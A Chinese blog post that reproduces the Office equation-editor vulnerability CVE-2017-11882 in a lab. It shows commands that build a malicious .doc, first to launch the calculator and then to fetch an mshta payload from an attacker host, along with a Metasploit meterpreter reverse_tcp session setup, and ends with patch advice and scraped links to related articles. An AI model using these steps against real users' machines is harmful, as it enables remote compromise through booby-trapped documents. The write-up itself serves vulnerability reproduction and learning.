Preface

  这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下。

  利用脚本Github传送地址 ,后面的参考链接都有成功的比较详细的案例了。

  主要是要用到如图中的两个脚本,example文件夹中有个doc,应该直接打开就能弹计算器了。

影响版本

  • Office 365
  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

复现过程

国外最先发布的poc地址:https://github.com/embedi/CVE-2017-11882

这里我们使用的是Ridter师傅改进过的脚本:https://github.com/Ridter/CVE-2017-11882/

生成漏洞doc文件弹计算器

  生成漏洞doc文件,可以弹出计算器如下:(脚本在Github传送地址)

  1. starnight:CVE-- starnight$ python Command_CVE--.py -c "cmd.exe /c calc.exe" -o test.doc
  2. [*] Done ! output file >> test.doc <<

  用命令生成test.doc后,用Offcie 2013打开这个文件,可以看到在打开doc文件的时候,弹出计算器。

  除了可以弹计算器外,还能获取shell。

生成漏洞doc文件拿shell

  这里我们参考链接2,使用metasploit,将脚本PS_shell.rb放到metasploit exploit的某个路径下:

  我的kali下的metasploit所在路径是:/usr/share/metasploit-framework, 可以放在如下目录:(这里我们新创建一个new-exps目录存放这个脚本)

  1. root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# pwd
  2. /usr/share/metasploit-framework/modules/exploits/windows/new-exps
  3. root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# ls
  4. PS_shell.rb

  这样在启动msf时就能直接使用了:

  1. msf > use exploit/windows/new-exps/PS_shell

  漏洞利用过程:

  1. msf > use exploit/windows/new-exps/PS_shell
  2. msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp
  3. payload => windows/meterpreter/reverse_tcp
  4. msf exploit(PS_shell) > set lhost 192.168.1.102
  5. lhost => 192.168.1.102
  6. msf exploit(PS_shell) > set uripath abc
  7. uripath => abc
  8. msf exploit(PS_shell) > exploit
  9. [*] Exploit running as background job .
  10.  
  11. [*] Started reverse TCP handler on 192.168.1.102:
  12. msf exploit(PS_shell) > [*] Using URL: http://0.0.0.0:8080/abc
  13. [*] Local IP: http://192.168.1.102:8080/abc
  14. [*] Server started.
  15. [*] Place the following DDE in an MS document:
  16. mshta.exe "http://192.168.1.102:8080/abc"

  从上面可以看出,我们要连接到这个地址:http://192.168.1.102:8080/abc

  我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:  

  1. starnight:CVE-- starnight$ python Command_CVE--.py -c "mshta http://192.168.1.102:8080/abc" -o test.doc
  2. [*] Done ! output file >> test.doc <<

  再用Office打开这个doc,就能拿到meterpreter了:

  OK, 利用过程就这样吧。(右键在新标签页中打开图片查看更清晰哦)

  更多手法请参考:

    CVE-2017-11882漏洞复现和利用

漏洞修复

  1. ()下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补
  2.  
  3. ()开启Windows Update功能,定期对系统进行自动更新

参考

  CVE-2017-11882利用

  CVE-2017-11882的复现、利用技巧以及修复方案

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)的更多相关文章

  1. 漏洞复现-Office远程代码执行漏洞 (CVE-2017-11882&CVE-2018-0802)

    漏洞原理 这两个漏洞本质都是由Office默认安装的公式编辑器(EQNEDT32.EXE)引发的栈溢出漏洞(不要问什么是栈溢出,咱也解释不了/(ㄒoㄒ)/~~) 影响版本 Office 365 Mic ...

  2. Office远程代码执行漏洞CVE-2017-0199复现

    在刚刚结束的BlackHat2017黑帽大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是Office系列办公软件中的一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复 ...

  3. Office远程代码执行漏洞(CVE-2017-11882)复现

    昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...

  4. Office远程代码执行漏洞(CVE-2017-11882)

    POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文件. 网上看到的改进过的POC,我们直接拿来用,命令如下: #python ...

  5. 【漏洞复现】Office远程代码执行漏洞(CVE-2017-11882)

    昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...

  6. office远程代码执行(CVE-2017-11882)

    office远程代码执行(CVE-2017-11882) 影响版本: MicrosoftOffice 2000 MicrosoftOffice 2003 MicrosoftOffice 2007 Se ...

  7. Office CVE-2017-8570远程代码执行漏洞复现

    实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...

  8. PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)

    PHPMailer < 5.2.18 Remote Code Execution 本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经 ...

  9. Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

    Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现  一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...

随机推荐

  1. DataGrid 如何得到DataGridRow 和DataGridCell 对象

    第一行为不可编辑  DataGridRow row = (DataGridRow)dataGrid1.ItemContainerGenerator.ContainerFromIndex(0);     ...

  2. 小白学Maven第二篇配置Ecilpse

    Maven:里面提到了一个很重要的概念:中央仓库,本地仓库,私服: 中央仓库:是Maven通过一个地址索引去(http://mvnrepository.com/)下载需要的架包: 本地仓库:是Mave ...

  3. Linux下搭建svn服务端

    安装 使用yum安装非常简单: yum -y install subversion (压缩包安装比这麻烦的多) Tortoise本是window下客户端工具,但也可以建仓库,作为服务端.Linux只有 ...

  4. 使用 Newtonsoft.Json 操作 JSON 字符串

    一.把实体类转化为 JSON 字符串 1. 为实体类赋值 SenderFromMQSearch senderFromMQSearch = new SenderFromMQSearch(); sende ...

  5. 【转】Sizeof与Strlen的区别与联系

    原文地址:http://www.cnblogs.com/carekee/articles/1630789.html 1.sizeof  sizeof(...)是运算符,在头文件中typedef为uns ...

  6. eclipse远程调试Linux环境下的web项目

    前提: 远程服务器上的代码和本地的代码同步 第一步 : 配置远程服务器下的startup.sh文件 在第一行添加 : declare -x CATALINA_OPTS="-server -X ...

  7. JS中处理单个反斜杠(即转义字符的处理)

    问题来源:在表单的<input>标签中对输入的字符串进行大写转换.一不小心输入了反斜杠 \ 如下图所示: 输入 chn\  的时候,在  IE8  下弹出一个js错误.(在实际的项目的表单 ...

  8. C++向量(08)

    在数组生存期内,数组的大小是不会改变的.向量是一维数组的类版本,它与数组相似,其中的元素项总是连续存储的,但它和数组不同的是:向量中存储元素的多少可以在运行中根据需要动态地增长或缩小.向量是类模板,具 ...

  9. xml文件的方式实现动态代理基于SpringAOP

    1.配置spring容器 导入jar包 com.springsource.net.sf.cglib-2.2.0.jar com.springsource.org.aopalliance-1.0.0.j ...

  10. java基础解析系列(十)---ArrayList和LinkedList源码及使用分析

    java基础解析系列(十)---ArrayList和LinkedList源码及使用分析 目录 java基础解析系列(一)---String.StringBuffer.StringBuilder jav ...